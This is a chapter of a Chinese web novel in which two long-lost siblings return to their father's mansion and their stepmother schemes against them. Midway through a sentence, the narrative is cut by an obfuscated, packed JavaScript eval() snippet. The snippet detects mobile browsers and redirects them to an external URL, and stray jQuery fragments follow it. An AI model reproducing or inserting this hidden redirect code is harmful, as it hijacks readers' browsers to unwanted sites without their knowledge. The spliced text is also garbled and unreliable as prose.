默认冷灰
24号文字
方正启体

6. 第六章 归家

作者:四点三刻本书字数:K更新时间:
    马车驶离别府时,中都的雪已经停了。


    沈云棠掀开车帘一角,望着渐渐远去的飞檐,忽然觉得这场景有些熟悉——三日前他们也是这样上的车,只不过那会儿她还穿着破棉袄,脚上是哥哥忙乱间找给她的草鞋。现在她换了一身新做的藕荷色小袄,脚蹬一双鹿皮靴,怀里还揣着描金手炉。


    车里只她一人。沈云昭在短短三日内便学会了骑马,穿一身骑装随行在侧,也是英姿勃发的少年郎。他身后是换回男装的芙蓉,看着低眉顺眼老实巴交,眼睛却时不时打着转,视线往街上人的脸上乱窜。


    沈云棠放下车帘,靠在软垫包裹的车壁上,闭上眼睛。


    那部烂片对沈家的着墨极少,她对沈家的了解几乎全部来自于那个气泡音旁白。沈府最初在朝堂上保持中立,看似不偏不倚,像是个谁也不想得罪的老好人。但是在男主眼里,所有的中立都意味着对皇权的不够忠诚。


    由于男主的刻意打压,加之沈崇安实在庸碌无能,沈府逐渐没落,直到认回了沈云昭。但沈府并未就此复兴,与之相反,沈府最后落得一个满门获罪,几乎无人幸免的下场。


    ——因为背叛了沈云昭,致使战役惨败、沈云昭身死殉国的人,正是沈崇安指派给自己亲儿子的心腹侍从。


    电影中没有任何细节,只有旁白草草略过的一句xx三年春,沈云昭战死,配上萧司珩震惊愤怒的死亡角度大头特写。


    当时的她甚至懒得吐槽那拗口的年号,满心都在震惊男主的脸这都不崩。


    沈云棠攥紧了袖口。即便她后来在脑中反刍了无数遍那部电影,记忆中的关键年号或时间节点都像打了马赛克一样模糊不清,她不得不以男主登基作为时间的锚点,重新整理时间线。


    萧司珩登基一年前,于中都遇刺。


    萧司珩登基三年后,沈云昭战死。


    她还有四年的时间。


    咕噜噜的车轮声停了。


    “小姐,将军府到了。”芙蓉的声音从车外传来,带着一种奇异的恭顺。


    沈云棠闭了闭眼,掀开车帘。沈云昭早已下马,伸手扶她下车。


    将军府的大门比她想象的要大得多。石狮子、上马石、门楣上的金字匾额,还有两排齐刷刷站着的仆从。门下正中间站着三个人。


    站在最前面的中年人是沈崇安。他的面容可说是端正,却算不上干练。他的眼底青黑,神色木然,身形有些佝偻,袖中的手正微微发抖。


    沈崇安旁边的妇人是沈崇安的续弦柳氏,她的衣着朴素,只在鬓边戴一支珠钗,唇边挂着恰到好处的笑意,眼神不住打量着兄妹二人。


    站在柳氏身后的是一名少女,看着同沈云棠差不多大,明眸皓齿,衣着华贵。她的目光落在沈云昭身上,微微一亮,随即想到什么,便将视线收回去。至于身形瘦小的沈云棠,她只是眼角余光扫了一眼,便没有再看。


    “回来了。”沈崇安开口,声音干涩,像是从喉咙深处挤出来的。他抱拳向东宫方向行礼,“谢太子恩典。”却是看也没看兄妹二人的脸。


    柳氏倒是堆起笑脸,迎上前来,“这便是太子殿下送回来的孩子?哎呦,长得真好。”


    她的目光从沈云昭脸上掠过,落在沈云棠苍白的小脸上,笑意不变,“这便是云棠吧?来,堇儿,快来见过你姐姐。”


    沈云堇没动。柳氏也不催促,只笑眯眯地看着。


    沈云棠低下头,露出一副怯生生的模样,没有说话。


    沈云昭抱拳行礼,“劳烦夫人了。我兄妹二人流落在外多年,今日得以归家,全赖太子殿下恩典。日后在府中,还请夫人多多关照。”


    “自然自然,都是一家人嘛。”柳氏连连点头。


    沈云堇突然从母亲身后探出头来,挽住她的胳膊,娇声道,“娘,我的生日宴可要放在寻香水榭办,姐妹们都说那边的雪赏起来最好。”


    她的余光扫过兄妹二人,见沈云昭神情不变,沈云棠默不作声,不由得撅了噘嘴,只觉没趣。


    “好好好,水榭就水榭。”柳氏拍了拍女儿的手,又转向沈云昭,“你们先歇着,晚膳在正厅,到时候我让人去请。”


    沈崇安已经转身往回走了,柳氏连忙跟上,一边走一边吩咐下人引少爷小姐到各自的院子。


    沈云昭站在原地,看三人的背影消失在门内,袖子下的拳头攥得发白。


    沈云棠轻轻扯了扯他的袖子,“哥哥。”


    沈云昭低下头,对上妹妹的目光,苦笑了一下,用口型对妹妹说,“我没事,这也在预料之中。”


    “走吧。”他牵起妹妹的手,跟着引路的婆子往里走。


    将军府很大,回廊曲折,庭院深深。沈云棠被牵着走过一重又一重院子,终于在一处僻静的厢房前停了下来。


    “就是这儿了。”引路的婆子笑容满面道,“夫人特意吩咐的,东跨院清静,适合姑娘养身子。”


    沈云昭环顾小院,枯草与断枝杂乱地铺在地上,院子里仅有一棵矮树,枝条正颤颤巍巍地落着积雪,窗户上有个黑乎乎的破洞,分外扎眼。


    他眉心一拧,正要发作,却被沈云棠拉住了。


    “哥哥,这儿真好,生火都不用捡柴,中街上都捡不到柴呢。”她声音明亮地说。


    沈云昭的肩膀也放松下来,笑道,“是啊,太子殿下赠你的手炉里烧的是什么银丝炭,还说要每日送炭来,我明日去上课时同殿下说说,你这里柴火够用的很,用不着殿下破费。芙蓉,你说是不是?”


    一直木木地跟在后面的芙蓉此时反应倒快,立刻应了一声,嗓门比平时大了三分。


    婆子笑容一滞,眼珠转了转,脸上立刻又堆起更深的褶子,“姑娘说笑了。这院子是夫人特意吩咐的,只是……”她顿了顿,压低声音,“姑娘莫怪,这几日府中忙着筹备小姐的生日宴,人手实在周转不开,这院子是昨儿才临时腾出来的,还有些没收拾妥当。老奴这就唤人来打扫,把窗户纸糊上。”


    沈云昭将视线投向沈云棠,只见她微笑道,“那我就住这里吧,让不懂规矩的人住没规矩的地方,正合适。”


    婆子唯唯称诺。


    等下人们将院子打扫了,沈云昭在屋内待了一会儿,见还算暖和,便被沈云棠赶出了屋,到自己的住处去了。


    他本想将芙蓉留下,芙蓉却道太子有令,实在不方便跟在沈云棠身边,只得把他带走。


    沈云棠望着他的背影走远,脸上的笑意慢慢淡了下去。她抚着手中的手炉,发


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527988|203601||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了一会儿呆。


    柳氏的屋子里,炭盆烧得正旺。


    她斜靠在美人榻上,手里做着针线,听婆子低声说着兄妹俩进府后的所作所为。


    “这沈云棠倒是会装乖,”她冷笑起来,“不懂规矩的人?现下我才是沈家的规矩。”


    婆子凑上前,压低声音,“我看她是欺软怕硬,到了夫人您面前哪敢放肆。倒是她那个哥哥,看着不好对付。”


    柳氏手中的针线活停了下来,她抬眼看向婆子,“怎么个不好对付法?”


    “老奴方才去前院送东西,正撞见公子刚安顿下来,就在院子里练剑。那剑法——”婆子斟酌着用词,“不像是街头混出来的,一招一式都有章法。”


    柳氏眉心微蹙,太子请人教的,自然有章法。她倒不怕沈云昭有本事,只是太子这般器重他,总要有个原因在。想到此处,她放下针线,命那婆子道,“唤王妈妈进来。”


    不一会儿,一个面容和善的婆子连忙走进来,“夫人,您唤老奴。”


    “你再同我说说那两个孩子在街上的事,”柳氏道,“当真只是当了十二年的乞丐?”


    “千真万确,”王婆子道,“那兄妹俩是中街上有名的小讨饭鬼,只在破庙里挤着住,靠好心人施舍过活。倒是有一个姓李的老婆子帮过他们,就是给点剩饭、缝补衣裳罢了。后来老奴着人断了她的女红活,没多久人就饿死了,不像是有本事的。”


    柳氏的眉心松了松,“那太子殿下是怎么遇见他们的?”


    “这……”王婆子讪讪道,“老奴着人在中街问遍了,没一个知道的。都说是破庙里突然没了人影,后来才知道是被贵人带走了。至于怎么遇上,又为什么带走,谁也说不清。”


    柳氏手指在案上轻轻叩了两下,又问,“太子别府那边怎么说。”


    王婆子顿时开始诉苦,“夫人哪,那边的下人嘴比蚌壳还严,又不肯收老奴的银钱,好不容易问到个口风松的,只同老奴说什么‘太子殿下对沈小姐以礼相待’,其他的什么都撬不出来。”


    “‘以礼相待’……”柳氏喃喃道,闭上眼思索起来。太子做事向来有章法,绝不无的放矢。他既礼待的是沈云棠,就意味着沈云棠必有他们不知道的过人之处。


    过了半晌,她睁开眼睛,看着窗纸上映出的疏落梅影,轻笑一声。


    这仿佛有诸多奇遇的兄妹俩,主心骨怕不是那个扮乖装呆的沈云棠。一个乳臭未干的小子,一个装乖卖傻的小丫头片子,分而击之,容易得很。


    “挑两个我院子里用熟的丫鬟,明日拨给大小姐,”她道,“至于大少爷,该给的不该给的,都要给少爷配齐,他是我们沈家的嫡长子,可不能受半点委屈。”


    王婆子连连点头,退了出去。


    柳氏独自坐在美人榻上,窗外的雪不知何时又落了下来。似乎是嫌屋内有些热,她命人将窗子撑起来一些,好让她透透气。


    影影绰绰的灯光映在屋外的星点红梅上,雪花雪白,红梅鲜红。


    她又想起来十二年前,那个女人被马车碾过,血流了满街,她幼子的哭嚎直冲天际。那是她一生中最为快意的时刻。


    她轻笑起来,低下头,继续一针一线地绣着一树盛开的红梅。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)